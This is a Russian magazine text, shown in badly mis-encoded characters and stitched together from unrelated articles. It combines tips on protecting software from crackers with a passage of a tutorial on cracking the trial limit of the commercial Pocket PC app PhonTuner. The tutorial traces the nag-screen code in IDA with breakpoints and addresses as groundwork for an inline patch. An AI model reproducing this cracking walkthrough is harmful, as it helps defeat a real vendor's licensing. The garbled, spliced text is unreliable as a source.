ùèê ÷óâñòâóåò ñåáÿ âñå óâåðåííåå è óâå-
ðåííåå. Íà÷èíàþùèå ëîìàòåëè âîîáùå
îãðàíè÷èâàþòñÿ òåì, ÷òî ïëàíîìåðíî õà-
÷àò îäèí óñëîâíûé ïåðåõîä çà äðóãèì è
òåøàò â ñåáå íàäåæäó íàéòè òîò åäèí-
ñòâåííûé, íóæíûé èì (÷àñòî îí è åñòü
åäèíñòâåííûé).

Ñèòóàöèÿ çíà÷èòåëüíî óñëîæíÿåòñÿ,
åñëè ïðîãðàììèñò ïðèìåíÿåò îðóæèå íå-
äåòåðìèíèðîâàííîé ëîãèêè, èëè, ïðîùå
ãîâîðÿ, âûçûâàåò ðàçëè÷íûå ïðîâåðî÷-
íûå ôóíêöèè â ñëó÷àéíîå âðåìÿ èç ïðî-
èçâîëüíûõ ìåñò, èñïîëüçóÿ ôóíêöèþ
rand() èëè äðóãîé ãåíåðàòîð ïîäîáíîãî
òèïà. Â ýòîì ñëó÷àå âçëîìùèê íå ñìîæåò
ïîâòîðèòü îäíàæäû ïðîéäåííûé ìàðø-
ðóò: ïðè ñëåäóþùåì çàïóñêå ïðîãðàììà
ïîéäåò ñîâñåì äðóãèì ïóòåì. Äîïóñòèì, â

ïðîøëûé ðàç êðýêåð äîòðàñ-
ñèðîâàë ïðîãðàììó äî òî÷êè
À è ïîíÿë, ÷òî ñâåðíóë íå íà
òîì ïîâîðîòå (ïðîñêî÷èë
óñëîâíûé ïåðåõîä) è ÷òî ñâî-
ðà÷èâàòü íóæíî áûëî ãîðàçäî
ðàíüøå, à òåïåðü çàùèòíàÿ
ôóíêöèÿ óæå ïîçàäè è äàëü-
øå òðàññèðîâàòü íåêóäà. Îí
ïåðåçàïóñêàåò îòëàä÷èê è… ñ
ïðåâåëèêèì óäèâëåíèåì îá-
íàðóæèâàåò, ÷òî åãî çàíåñëî
ñîâñåì â äðóãèå ìåñòà, íåçíà-
êîìûå åìó…

Êîíå÷íî æå, íå ñòîèò èñ-
ïîëüçîâàòü äëÿ ýòîé öåëè ñà-
ìó áèáëèîòå÷íóþ ôóíêöèþ
rand(), èíà÷å ïåðåêðåñòíûå
ññûëêè âûäàäóò âñå âåòâëå-
íèÿ íà áëþäå÷êå ñ ãîëóáîé êà-
åìî÷êîé. Èëè æå âçëîìùèê ïðîïàò÷èò
ôóíêöèþ rand() òàê, ÷òîáû îíà âñåãäà âû-
äàâàëà îäèí è òîò æå ðåçóëüòàò, çàñòà-
âëÿþùèé ïðîãðàììó õîäèòü îäíèì ìàðø-
ðóòîì. Ëó÷øå èññëåäîâàòü èñõîäíûé êîä
rand() è ïåðåïèñàòü åãî ñàìîñòîÿòåëüíî,
íåïîñðåäñòâåííî âæèâèâ â òåëî ïðîãðàì-
ìû, — òîãäà ëîìàòü ïðîãðàììó áóäåò
î÷åíü è î÷åíü ñëîæíî.

Äîïóñòèì, ìû èìååì äåñÿòü ðàçíûõ, íèêàê
íå çàâèñèìûõ çàùèòíûõ ôóíêöèé. ×àñòü
èç íèõ âûçûâàåòñÿ ïðè êàæäîì çàïóñêå
ïðîãðàììû, ÷àñòü — ÷åðåç ðàç, à ÷àñòü —
ñ âåðîÿòíîñòüþ ðàç â íåñêîëüêî íåäåëü.
Åñëè çàùèòíûå ôóíêöèè íå âûÿâëÿþòñÿ íè
ïî êàêèì êîñâåííûì ïðèçíàêàì, òî âçëîì-
ùèêó ïðèäåòñÿ ïîëíîñòüþ ïðîàíàëèçèðî-
âàòü âåñü êîä ïðîãðàììû, ÷òî íåðåàëüíî.

ïïððèèññóóòòññòòââèèåå ððååããèèññòòððààööèèîîíí-
ííûûõõ ääààííííûûõõ ââ ïïààììÿÿòòèè
Êëàññè÷åñêèé ñïîñîá âçëîìà, óõîäÿùèé
ñâîèìè êîðíÿìè â ýïîõó âðåìåí ZX-
SPECTRUM, — ïðÿìîé ïîèñê ðåãèñòðàöè-
îííûõ äàííûõ â ïàìÿòè. Õàêåð ââîäèò ñå-
ðèéíûé íîìåð îò áàëäû (ëèáî ïîäñîâûâà-
åò âçëàìûâàåìîé ïðîãðàììå «ëåâûé»
êëþ÷åâîé ôàéë, ÷òî ñòàëî äîñòàòî÷íî

÷àñòî âñòðå÷àòüñÿ íà ìåñòå ñåðèéíèêà),
çàòåì èùåò åãî â ïàìÿòè è, åñëè çàùèòà
íå ïðèêëàäûâàåò íèêàêèõ äîïîëíèòåëü-
íûõ óñèëèé, äåéñòâèòåëüíîãî íàõîäèò
åãî. Îñòàåòñÿ óñòàíîâèòü òî÷êó îñòàíîâà
íà ýòè äàííûå è òåðïåëèâî æäàòü, ïîêà
çàùèòíûé êîä, îáðàùàþùèéñÿ ê íèì, íå
óãîäèò â êàïêàí. Ïðîöåäóðà, îòâåòñòâåí-
íàÿ çà ñðàâíåíèå äàííûõ (ââåäåííûõ

ïîëüçîâàòåëåì) ñ «ýòàëîíîì», áóäåò ëî-
êàëèçîâàíà è… áåçæàëîñòíî âçëîìàíà.
Õèòðûå ïðîãðàììèñòû ïîñòóïàþò òàê: ïî-
ñèìâîëüíî ñ÷èòûâàþò êëàâèàòóðíûé ââîä
è òóò æå øèôðóþò åãî. Òàêèì îáðàçîì, 
â ïàìÿòè óæå íå îêàçûâàåòñÿ äàííûõ, ââå-
äåííûõ ïîëüçîâàòåëåì, è êîíòåêñòíûé ïî-
èñê òåïåðü íå ñðàáàòûâàåò, îáëàìûâàÿ
âçëîìùèêà ïî ïîëíîé ïðîãðàììå.
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ííååññêêîîëëüüêêîî ññååððèèééííûûõõ
ííîîììååððîîââ ââ îîääííîîìì
Êàê îáû÷íî ëîìàþò ïðîãðàììû? Èùóò
ïðîöåäóðó, ñðàâíèâàþùóþ ââåäåííûé ñå-
ðèéíûé íîìåð ñ ýòàëîííûì, çàòåì ëèáî
ïðàâÿò êîä, ëèáî ïèøóò ãåíåðàòîð ñåðèé-
íûõ íîìåðîâ. Åñëè æå ðàçíûå ÷àñòè ïðî-
ãðàììû â ðàçëè÷íîå âðåìÿ áóäóò ïðîâå-
ðÿòü ðàçëè÷íûå ÷àñòè îäíîãî è òîãî æå
êëþ÷à, òî âçëîìùèêó ïðèäåòñÿ î÷åíü
ñèëüíî ïîäíàïðÿ÷üñÿ, ïðåæäå ÷åì îí äî-
âåäåò âçëîì äî óìà.

Äîïóñòèì, ïðîãðàììà ñïðàøèâàåò
ñåðèéíèê íà çàïóñêå è äî îñóùåñòâëåíèÿ
ââîäà íå ïóñêàåò íèêóäà äàëüøå. Õàêåð
áûñòðî «îòëàìûâàåò» çàùèòíûé êîä (ïè-
øåò ãåíåðàòîð ñåðèéíûõ íîìåðîâ) è ïðî-

ãðàììà êàê áóäòî áû çàïóñêàåòñÿ, íî ïðè
ðàñ÷åòå òàáëèöû (ïîïûòêå çàïèñàòü ôàéë
íà äèñê) ïðîâåðÿåò äðóãóþ ÷àñòü ñåðèéíî-
ãî íîìåðà ñ ïîìîùüþ äîïîëíèòåëüíîé
çàùèòíîé ôóíêöèè, êîòîðóþ âçëîìùèê
áëàãîïîëó÷íî «ïðîìîðãàë» íà ïåðâîé
ñòàäèè âçëîìà.

Õàêåð âíîâü áåðåò îòëàä÷èê â ðóêè
è äîðàáàòûâàåò ñâîé ãåíåðàòîð (îòëàìû-
âàåò âòîðóþ ïðîâåðî÷íóþ ïðîöåäóðó). È
âîò ïðîãðàììà ðàáîòàåò óæå â ïîëíûé
ðîñò, òîëüêî ïðè âûâîäå íà ïå÷àòü… Íó, â
îáùåì, òû ïîíÿë. Åñëè êðýêåð ëîìàåò
ïðîãðàììó «äëÿ ñåáÿ», îí áóäåò äîëãî
ìàòåðèòüñÿ, â êîíöå êîíöîâ ýòî äåëî íà-
ñòîëüêî íàäîåñò åìó, ÷òî îí âñå-òàêè êó-
ïèò åå (èëè äîëîìàåò èç ñïîðòèâíîãî èí-

òåðåñà). Åñëè æå ïðîãðàììà ëîìàåòñÿ
«íà ñòîðîíó» ïî ñïåöçàêàçó, òî ïîñëå
ïåðâûõ äâóõ-òðåõ ïðîìàõîâ êëèåíò ïî-
øëåò êðýêåðà è ïðåäïî÷òåò çàïëàòèòü, à
íå ìó÷èòüñÿ.

Îäèí ìîìåíò. Ñåðèéíûé íîìåð íè â
êîåì ñëó÷àå íå äîëæåí õðàíèòüñÿ â ñåê-
öèè äàííûõ êàê ãëîáàëüíàÿ ïåðåìåííàÿ,
èíà÷å ïåðåêðåñòíûå ññûëêè è àïïàðàò-
íûå òî÷êè îñòàíîâà âûäàäóò ôóíêöèè
ïðîâåðêè ñ ãîëîâîé. Âñåãäà ïåðåäàâàé
ñåðèéíûé íîìåð ïî öåïî÷êå ëîêàëüíûõ
ïåðåìåííûõ òûñÿ÷àì ïîñòîðîííèõ ôóíê-
öèé ïðîãðàììû. Òîãäà âçëîìùèê íèêàê
íå ñìîæåò îòñëåäèòü, êàêèå èìåííî ôóíê-
öèè ðåàëüíî ïðîâåðÿþò ñåðèéíûé íîìåð,
à êàêèå òîëüêî ïåðåäàþò åãî ïî òðàíçèòó.

Ìîäåëèðîâàíèå íåäåòåðìèíèðîâàííîãî àâòîìàòà íà
ïðîëîãå
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ççààùùèèòòàà ââ ààññññååììááëëååððííûûõõ
ââññòòààââêêààõõ
Õîðîøî ïðîäóìàííàÿ çàùèòà íå íóæäà-
åòñÿ â àññåìáëåðå è óæ òåì áîëåå â àñ-
ñåìáëåðíûõ âñòàâêàõ, âûäàþùèõ çàùèò-
íûé êîä ñ ãîëîâîé. Åñëè â ôóíêöèè îòñóò-
ñòâóþò àññåìáëåðíûå âñòàâêè, îïòèìè-
çèðóþùèå êîìïèëÿòîðû âûáðàñûâàþò
ñòàíäàðòíûé ïðîëîã, àäðåñóÿ ëîêàëüíûå
ïåðåìåííûå è àðãóìåíòû íåïîñðåäñòâåí-
íî ÷åðåç ðåãèñòð ESP. Îäíàêî êàê òîëüêî
â òåëå ôóíêöèè ïîÿâèòñÿ õîòü îäíà àñ-
ñåìáëåðíàÿ âñòàâêà, äëÿ «ñêâîçíîé» àä-
ðåñàöèè ÷åðåç ESP ñòàíîâèòñÿ íåäîñòà-
òî÷íî èíòåëëåêòà êîìïèëÿòîðà è îí âîç-
âðàùàåòñÿ ê ñòàíäàðòíîìó ïðîëîãó.

Ïðîâåäåì ïðîñòîé ýêñïåðèìåíò.
Âîçüìåì ïðîãðàììó è îòêîìïèëèðóåì
åå êîìïèëÿòîðîì Microsoft Visual C++ ñ
ìàêñèìàëüíûì ðåæèìîì îïòèìèçàöèè
(êëþ÷ /Ox).

èñõîäíûé êêîä ôôóíêöèè ááåç ààññåìáëåðíûõ
âñòàâîê
main()

{

int a,b=0;

for (a=0;a<10;a++) b+=a*2;

printf("%x\n",b);

}

äèçàññåìáëåðíûé ëëèñòèíã ôôóíêöèè 
áåç ààññåìáëåðíûõ ââñòàâîê ((ñòàíäàðòíûé
ïðîëîã ââûáðîøåí êêîìïèëÿòîðîì)
.text:00000000 _main proc 

near

.text:00000000 xor ecx, ecx

.text:00000002 xor eax, eax

.text:00000004

.text:00000004 loc_4: ; CODE 

XREF: _main+Cvj

.text:00000004 add ecx, eax

.text:00000006 add eax, 2

.text:00000009 cmp eax, 14h

.text:0000000C jl short 

loc_4

.text:0000000E push

ecx

.text:0000000F push

offset $SG398

.text:00000014

call _printf

.text:00000019 add esp, 8

.text:0000001C retn

.text:0000001C _main endp

Êàê âèäíî, íè÷åãî ïîõîæåãî íà ïðîëîã òóò
íåò. Îäíàêî ñòîèò äîáàâèòü õîòÿ áû ïðî-
ñòåéøóþ àññåìáëåðíóþ âñòàâêó òèïà
__asm {mov a,eax } è ïåðåêîìïèëèðîâàòü
ïðîãðàììó, êàê âñå ëåòèò êóâûðêîì.

äèçàññåìáëåðíûé ëëèñòèíã òòîé 
æå ññàìîé ôôóíêöèè ññ ììåëêîé 
àññåìáëåðíîé ââñòàâêîé
.text:00000000 _main proc near

.text:00000000

.text:00000000 var_4 = dword 

ptr -4

.text:00000000

.text:00000000 push ebp

.text:00000001 mov ebp, esp

.text:00000003 push ecx

.text:00000004 xor ecx, ecx

.text:00000006 xor eax, eax

.text:00000008

.text:00000008 loc_8: ; CODE 

XREF: _main+10vj

.text:00000008 add ecx, eax

.text:0000000A add eax, 2

.text:0000000D cmp eax, 14h

.text:00000010 jl short loc_8

.text:00000012 mov

[ebp+var_4], eax

.text:00000015 push ecx

.text:00000016 push offset 

$SG398

.text:0000001B call _printf

.text:00000020 add esp, 8

.text:00000023 mov esp, ebp

.text:00000025 pop ebp

.text:00000026 retn

.text:00000026 _main endp

Ñòàíäàðòíûé ïðîëîã ëåãêî îáíàðóæèâà-
åòñÿ êîíòåêñòíûì ïîèñêîì, ïîýòîìó ëè-
áî âîîáùå íå èñïîëüçóé íèêàêîãî àñ-
ñåìáëåðà â ñâîèõ ïðîãðàììàõ, ëèáî ïè-
øè íà ÷èñòîì àññåìáëåðå ñ ïîñëåäóþ-
ùåé òðàíñëÿöèåé â obj, ëèáî ïðåäâàðÿé
àññåìáëåðíûå ôóíêöèè ñïåöèôèêàòî-
ðîì «naked», è â ýòîì ñëó÷àå Microsoft
Visual C++ íå áóäåò âñòàâëÿòü íè ïðîëî-
ãà, íè ýïèëîãà

íèÿ óæå äàâíî ñëîìàíû, à ÷òî-
áû íàó÷èòüñÿ ïðàâèëüíî ïîëü-
çîâàòüñÿ èìè, íåîáõîäèìî çàò-
ðàòèòü äîñòàòî÷íî ìíîãî âðå-
ìåíè. Ê òîìó æå ê òâîèì ñîá-
ñòâåííûì îøèáêàì äîáàâÿòñÿ
áàãè ïðîòåêòîðà (ïðîòåêòîðîâ
áåç áàãîâ íå ñóùåñòâóåò) è ðà-
çîáðàòüñÿ â ýòîì ãëþêîäðîìå
áóäåò î÷åíü íåëåãêî.

API-ôóíêöèè
Íèêîãäà íå äîâåðÿé API-ôóíê-
öèÿì — î÷åíü ëåãêî ïåðåõâà-
òèòü èõ è ïîäñóíóòü ëþáîé æå-
ëàòåëüíûé ðåçóëüòàò. Òåì áî-
ëåå íå èñïîëüçóé ïðÿìûõ âûçî-
âîâ API-ôóíêöèé â ïðîãðàììå,
êîòîðàÿ èñïîëüçóåò ïðåèìóùå-
ñòâåííî áèáëèîòå÷íûå ôóíê-
öèè è RTL: çàùèòà ñðàçó æå äå-
ìàñêèðóåòñÿ è ïîçâîëèò ëîêà-
ëèçîâàòü «ëîãîâî äðàêîíà» âî
ìíîãîìåãàáàéòíîé ÷àùå êîäà
ïðîãðàììû.

ñâîåâðåìåííàÿ
ïðîâåðêà
Íå ïðîâåðÿé íè÷åãî íà ðàííåé
ñòàäèè èíèöèàëèçàöèè, èíà÷å
âçëîìùèê äîáåðåòñÿ äî çàùè-
òû ýëåìåíòàðíîé ïîøàãîâîé
òðàññèðîâêîé. ×åì ïîçæå âû-
ïîëíÿåòñÿ ïðîâåðêà, òåì ëó÷-
øå. Ïðèòîì ïðîâåðêå íå äîë-
æåí ïðåäøåñòâîâàòü âûçîâ
«î÷åâèäíûõ» API-ôóíêöèé (òà-
êèõ êàê CreateFile äëÿ îòêðûòèÿ
êëþ÷åâîãî ôàéëà) — ìåæäó çà-
ãðóçêîé êëþ÷åâîãî ôàéëà è åãî
ïðîâåðêîé äîëæíî ïðîéòè êà-
êîå-òî âðåìÿ (â ñìûñëå, îíè
äîëæíû áûòü ðàçäåëåíû êàê
ìîæíî áîëüøèì îáúåìîì íåëè-
íåéíîãî êîäà).

âñå ãåíèàëüíîå
ïðîñòî
Íå çàùèùàé ïðîãðàììû — âñå
ðàâíî âçëîìàþò. Åñëè è íå
âçëîìàþò, òî íå êóïÿò èç ïðèí-
öèïà! Îñíîâíîé äîõîä ïðèíîñèò
êàòåãîðèÿ ÷åñòíûõ ïîëüçîâàòå-
ëåé, äëÿ êîòîðûõ äîñòàòî÷íî
òðèâèàëüíîé «çàùèòû» èç ïàðû
ñòðîê. Êàê ïîêàçûâàåò ïðàêòè-
êà, ðàçðàáîòêà áîëåå ñëîæíûõ
çàùèòíûõ ìåõàíèçìîâ îêàçû-
âàåòñÿ êîììåð÷åñêè íåîïðàâ-
äàííîé (èñêëþ÷åíèå ñîñòàâëÿ-
þò ñïåöèàëèçèðîâàííûå ïðî-
ãðàììíûå êîìïëåêñû òèïà IDA
PRO, PC 3000, ïðîäàæè êîòî-
ðûõ èçìåðÿþòñÿ ëèøü òûñÿ÷à-
ìè øòóê). Ïðîãðàììû, îðèåíòè-
ðîâàííûå íà ìàññîâûé ðûíîê,
ëó÷øå ðàñïðîñòðàíÿòü áåñïëàò-
íî, à äîõîä ïðè ýòîì ïîëó÷àòü
ñ ðåêëàìû, ïîääåðæêè èëè äðó-
ãèõ äîïîëíèòåëüíûõ ñåðâèñîâ
(áåðè ïðèìåð ñ Opera).

8 

9

10

Êëàäîâàÿ èñõîäíèêîâ
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çà÷åì ììó÷èòüñÿ êêàêèì-òòî èèíëàéíîì, êîãäà
ìîæíî ïîëó÷èòü òîò æå ýôôåêò áûñòðîé è íà-
äåæíîé çàìåíîé ïàðû áàéòèêîâ? Â îáùåì íåçà-
÷åì, òîëüêî ìèð íå ñòîèò íà ìåñòå è àâòîðû ïðî-
ãðàìì íå ñèäÿò ñëîæà ðóêè, à ïîñòåïåííî ñîâåð-
øåíñòâóþò ñðåäñòâà èíôîðìàöèîííîé çàùèòû.
Ïîêà ìîæíî ðàäîâàòüñÿ, ïîãëÿäûâàÿ â äèçàñ-
ñåìáëåðå íà íåòðîíóòûé ëèñòèíã, íî ïðèäåò âðå-
ìÿ, è íà ýòîì æå ìåñòå ìû óâèäèì êó÷ó ìóñîðà.
Òàê ÷òî ïðèçûâàþ ãîòîâèòüñÿ è ïëàíîìåðíî
ïðàêòèêîâàòüñÿ â ïðîïàò÷èâàíèè ïðîãðàìì âî
âðåìÿ èõ èñïîëíåíèÿ, òî åñòü àêòèâíî îñâàèâàòü
íàâûêè inline-ïàò÷èíãà.

Íà÷íåì ñ òåîðèè. Inline-ïàò÷ ïðåäñòàâëÿåò
ñîáîé ïîäïðîãðàììó äëÿ èçìåíåíèÿ îðèãèíàëüíî-
ãî èñïîëíÿåìîãî êîäà ïðîãðàììû, êîòîðàÿ çàïó-
ñêàåòñÿ íåïîñðåäñòâåííî äî íà÷àëà âûïîëíåíèÿ
ýòîãî êîäà. Ïåðåäà÷à óïðàâëåíèÿ ïåðâîíà÷àëüíîé
ïðîãðàììå òàêæå îñóùåñòâëÿåòñÿ èç òåëà inline-
ïà÷òà, êîòîðûé ðàçìåùàåòñÿ ïðàêòè÷åñêè â ëþáîì
ñâîáîäíîì ìåñòå ôàéëà îñíîâíîé ïðîãðàììû.

â êêà÷åñòâå îîáúåêòà èèññëåäîâàíèÿ âîçüìåì
çàìå÷àòåëüíóþ ïðîãðàììó — ãèòàðíûé òþíåð.
Äëÿ àíàëèçà ñïåêòðà ñèãíàëà îíà èñïîëüçóåò
âñòðîåííûé â ÊÏÊ ìèêðîôîí, çàòåì «óñëûøàí-

íàÿ» íîòà îòîáðàæàåòñÿ íà îòîáðàæàåòñÿ íà
íåïîíÿòíîé ñ ïåðâîãî âçãëÿäà êðèâîé, êîòîðàÿ â
ñîîòâåòñòâèè ñ âûáðàííûìè â ìåíþ èíñòðóìåí-
òàìè îíà ïðèíèìàåò îñîáûé âèä. Áîëåå òîãî,
ïðîãðàììà ìîæåò ñàìîñòîÿòåëüíî âîñïðîèçâî-
äèòü çâóêè ðàçëè÷íîé ÷àñòîòû. Â îáùåì, ðàçî-
áðàâøèñü â îáðàùåíèè ñ íåé, òû ïðèäåøü â âîñ-
òîðã. Íàçâàíèå ýòîãî äðåâíåãî øåäåâðà (ñàéò íå
îáíîâëÿåòñÿ ñ 2004 ãîäà) — PhonTuner v2.2.2.

Ïðîãðàììà íåáîëüøàÿ, ñìåëî êà÷àåì (www.pho-

nature.com:8092/home/products_pdaApp_ppc_PhonTuner.htm),
óñòàíàâëèâàåì íà ÊÏÊ èëè íà ýìóëÿòîð, ÷åðåç Acti-
veSync ïåðåïèñûâàåì èñïîëíÿåìûé ôàéë Phontun-
er.exe è çàãðóæàåì åãî â IDA. Íà âñÿêèé ñëó÷àé íà-
ïîìíþ, êàê ýòî äåëàåòñÿ:

1  Â IDA ÂÛÁÈÐÀÅÌ FILE NEW.

2  Â ÎÊÍÅ ÆÌÅÌ ÍÀ ÇÀÊËÀÄÊÓ
PDA'S/HANDHELDS/PHONES PHONES.

3 ÂÛÁÈÐÀÅÌ POCKETPC ARM EXECUTABLE.

4  ÏÎÑËÅ ÂÛÁÎÐÀ ÔÀÉËÀ ÇÀÏÓÑÊÀÅÒÑß
WIZARD, ÍÀ ÅÃÎ ÏÅÐÂÎÉ ÑÒÐÀÍÈÖÅ
ÑÒÀÂÈÌ ÎÁÅ ÃÀËÎ×ÊÈ (IMPORTED DLL
OPTIONS È ANALYSIS OPTIONS).

5 ÍÀ ÂÒÎÐÎÉ ÑÒÀÍÈÖÅ ÎÒÌÅ×ÀÅÌ ÂÑÅ
(CREATE IMPORTS SEGMENT, CREATE
RESOURCE SEGMENT).

6 ÍÅÑÊÎËÜÊÎ ÐÀÇ ÆÌÅÌ «ÄÀËÅÅ»,
ÎÑÒÀÂËßß ÂÑÅ ÎÑÒÀËÜÍÛÅ ÍÀÑÒÐÎÉ-
ÊÈ ÊÀÊ ÅÑÒÜ.

Ïîñëå çàêðûòèÿ îêíà Wizard IDA íà÷íåò ñâîé àíà-
ëèç. Òàê êàê ôàéë íåáîëüøîé, ïðîöåññ íå çàéìåò
ìíîãî âðåìåíè.

Êàê îáû÷íî, ñíà÷àëà äîëæåí áûòü îïðåäå-
ëåí òèï çàùèòû ïðîãðàììû. Çàïóñêàåì åå íà
óñòðîéñòâå (èëè ýìóëÿòîðå). Ñðàçó íàáëþäàåì îê-
íî ñ íàäïèñüþ «This trial copy of PhonTuner will exit
in 60 seconds. To purchase a fully functional copy,
please visit: www.phonature.com. Thanks for supporting
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òòååððììîîÿÿääååððííûûéé
èèííëëààééíí

èèííññòòððóóììååííòòààððèèéé
ÊÊÀÀÊÊ ÎÎÁÁÛÛ××ÍÍÎÎ,, ÄÄËËßß ««ÐÐÀÀÇÇÁÁÎÎÐÐÀÀ»» 
ÍÍÀÀÌÌ ÏÏÎÎÍÍÀÀÄÄÎÎÁÁßßÒÒÑÑßß::

— ÎÒËÀÄ×ÈÊ, Â ÐÎËÈ ÊÎÒÎÐÎÃÎ Ñ ÓÑÏÅÕÎÌ ÂÛÑÒÓÏÈÒ ÊÀÊ EVC4 SP4, 
ÒÀÊ È IDA 4.9 Ñ WINCE DEBUGGER;

— ÐÅÄÀÊÒÎÐ ÐÅÑÓÐÑÎÂ, ÎÍ ÆÅ RESOURCEHACKER;
— HEX-ÐÅÄÀÊÒÎÐ (ÇÀÌÅ×ÀÒÅËÜÍÎ ÏÎÄÎÉÄÅÒ WINHEX 12.5);
— PE-ÐÅÄÀÊÒÎÐ (ÍÀÏÐÈÌÅÐ CFF EXPLORER II);
— ÝÌÓËßÒÎÐ MICROSOFT DEVICE EMULATOR (ÄËß ÁÅÇÎÏÀÑÍÎÑÒÈ ÑÀÌÎÉ ÆÅËÅÇÊÈ 

ÐÅÊÎÌÅÍÄÓÞ ÏÐÎÂÎÄÈÒÜ ÈÑÑËÅÄÎÂÀÍÈß ÈÌÅÍÍÎ ÍÀ ÍÅÌ).

ÊÑÒÀÒÈ, ÄËß ÏÎËÍÎÃÎ Ñ×ÀÑÒÜß ÁÛËÎ ÁÛ ÍÅÏËÎÕÎ ÈÌÅÒÜ ÏÓÕËÅÍÜÊÈÉ ÁÀÃÀÆ ÇÍÀ-
ÍÈÉ Î ÌÅÒÎÄÀÕ ÀÄÐÅÑÀÖÈÈ, ÏÐÈÌÅÍßÅÌÛÕ Â ÀÐÕÈÒÅÊÒÓÐÅ ARM, ÑÏÎÑÎÁÀÕ ÓÊËÀÄÛ-
ÂÀÍÈß ÄÀÍÍÛÕ Â ÑÒÅÊ, ÔÎÐÌÈÐÎÂÀÍÈÈ ÎÏÊÎÄÎÂ ÈÍÑÒÐÓÊÖÈÉ, ARM-ÀÑÑÅÌÁËÅÐÅ 
È INLINE-ÏÀÒ×ÀÕ.

disclaim
Äàííàÿ ñòàòüÿ íàïèñàíà ëèøü äëÿ òîãî, 
÷òîáû ïîêàçàòü ðàçðàáîò÷èêàì ïðîãðàììíîãî
îáåñïå÷åíèÿ, íàñêîëüêî ñëàáîé áûâàåò çàùèòà
èõ ïðîäóêòîâ. Àâòîð è ðåäàêöèÿ íå íåñóò
îòâåòñòâåííîñòè çà ïðèìåíåíèå èíôîðìàöèè 
â ïðîòèâîçàêîííûõ öåëÿõ.

INLINE-ÏÀÒ× ÏÐÈËÎÆÅÍÈß ÄËß ÊÏÊ
ÊÀÆÄÀß ÇÀÙÈÒÀ ÒÐÅÁÓÅÒ ÈÍÄÈÂÈÄÓÀËÜÍÎÃÎ ÏÎÄÕÎÄÀ — ÏÐßÌÎÃÎ ÈÇÌÅÍÅÍÈß
ÊÎÄÀ ÏÐÎÃÐÀÌÌÛ, ÃÅÍÅÐÀÖÈÈ ÏÐÀÂÈËÜÍÎÃÎ ÊËÞ×À ÈËÈ INLINE-ÏÀÒ×À. ÎÁÛ×ÍÎ
ÐÅÂÅÐÑ-ÈÍÆÅÍÅÐÛ ÊÏÊ ÈÑÏÎËÜÇÓÞÒ ÒÎËÜÊÎ ÏÅÐÂÛÅ ÄÂÀ, ÎÄÍÀÊÎ ÏÎÍßÒÜ È
ÍÀÓ×ÈÒÜÑß ÏÐÈÌÅÍßÒÜ ÒÐÅÒÈÉ — ÑÎÂÑÅÌ ÍÅ ËÈØÍÅÅ |GETORIX | INT3 (GETORIX@INT3.RU)



our product». Ìàëîâàòî. Îäíàêî æìåì ÎÊ è 60 ñå-
êóíä íàñëàæäàåìñÿ ðàáîòîé ïðîãðàììû. Âðåìÿ
ïðîõîäèò, è íà ýêðàíå ïîÿâëÿåòñÿ MessageBox ñ
íàäïèñüþ, àíàëîãè÷íîé òîé, ÷òî áûëà â ñàìîì íà-
÷àëå (ðèñóíîê 1). Çàòåì ïðîãðàììà äåéñòâèòåëü-
íî çàâåðøàåòñÿ.

Âûÿñíèëîñü, îòêóäà ìîæíî ïëÿñàòü. Çíà÷èò,
ïåðåõîäèì â IDA. Êàê ïðàâèëî, MessageBox èñ-
ïîëüçóåò ñòðîêè èç ñåêöèè .data, ïîýòîìó íà÷íåì
ñ ïðîñìîòðà äàííûõ â îêíå Strings window. Óäèâè-
òåëüíî, íî èñêîìàÿ ñòðîêà îáíàðóæèâàåòñÿ òîëü-
êî â ñåêöèè ðåñóðñîâ .rsrc, à â ñåêöèè äàííûõ íè-
÷åãî ïîõîæåãî íåò (íà ñàìîì äåëå åñòü, â ÷åì
óáåæäàåìñÿ ïåðåéäÿ íà àäðåñ 02978C. IDA ýòîãî
íå çàìåòèëà, ÷òî î÷åíü çàãàäî÷íî). Íå ñòðàøíî,
íóæíûé êîä îáðàùåíèÿ ê MessageBox ìîæíî íàé-
òè ìåíåå èíòåëëåêòóàëüíûì, íî î÷åíü íàäåæíûì
ïóòåì — ÷åðåç LR (Link Register) èëè ïðîäâèãàÿñü
ïî âûçîâàì ôóíêöèé â îáðàòíîì íàïðàâëåíèè.
Äëÿ ýòîãî â îêíå Names window èùåì ñòðîêó Mes-
sageBox, ùåëêàåì ïî íåé äâàæäû è ïåðåõîäèì íà
êîä, ïðåäñòàâëåííûé â ëèñòèíãå 1.

Ýòà ïðîöåäóðà ïåðåäàåò óïðàâëåíèå â ñè-
ñòåìíóþ áèáëèîòåêó coredll.dll, êîòîðàÿ, ñîá-
ñòâåííî, è îòîáðàæàåò ñîîáùåíèå. Íàì æå íóæ-
íî óçíàòü, îòêóäà îíà âûçûâàåòñÿ. Ìîæíî, êî-
íå÷íî, íàæàòü êëàâèøó <x> è ïðîñìîòðåòü âñå
åå âûçîâû ÷åðåç XREF (ïåðåêðåñòíûå ññûëêè),
íî ïîñòóïèì ïðîùå. Ïðîñòî ïîñòàâèì breakpoint
íà àäðåñ 1D268 è çàïóñòèì ïðîãðàììó â îòëàä-
÷èêå (â IDA 4.9 — êíîïêà <F9>). Ïðîïóñêàåì äè-
àëîã ñ íàïîìèíàíèåì ïðè çàãðóçêå è æäåì íåíà-
âèñòíûå 60 ñåêóíä. Îñòàíàâëèâàåìñÿ, ãäå ïðî-
ñèëè, è ñìîòðèì â ðåãèñòð LR. Òàì êðàñóåòñÿ àä-
ðåñ 168C8. Ïåðåõîäèì íà íåãî â ëèñòèíãå IDA,
âèäèì ôîðìèðîâàíèå òåêñòà ñîîáùåíèÿ è ïîë-
íîå îòñóòñòâèå êàêèõ-ëèáî âåòâëåíèé. ×òî æ, âè-
äèìî, íóæíî çàáðàòüñÿ êóäà-òî âûøå. Ïîâòîðèì
òîëüêî ÷òî ïðîäåëàííûé òðþê è ïîñòàâèì break-
point íà íà÷àëî ýòîé ôóíêöèè (àäðåñ 16880). Ïå-
ðåçàïóñêàåì ïðîãðàììó â îòëàä÷èêå, ñíîâà
æäåì. Íà ýòîò ðàç ïîñëå îñòàíîâêè â LR ëåæèò
àäðåñ 18DF8. Ïî íåìó ïåðåõîäèì â IDA è îá-
íàðóæèâàåì òàì ñîäåðæèìîå ëèñòèíãà 2. Íó âîò,
ñîâñåì äðóãîå äåëî.

Èçó÷èâ ýòîò êîä, à îñîáåííî ïåðåõîäû ïî àä-
ðåñàì 18DC8 è 18DEC, ìîæíî äîãàäàòüñÿ, ÷òî ïðî-
ãðàììà ïðîäîëæàåò ðàáîòó: åñëè îäíà ñåêóíäà
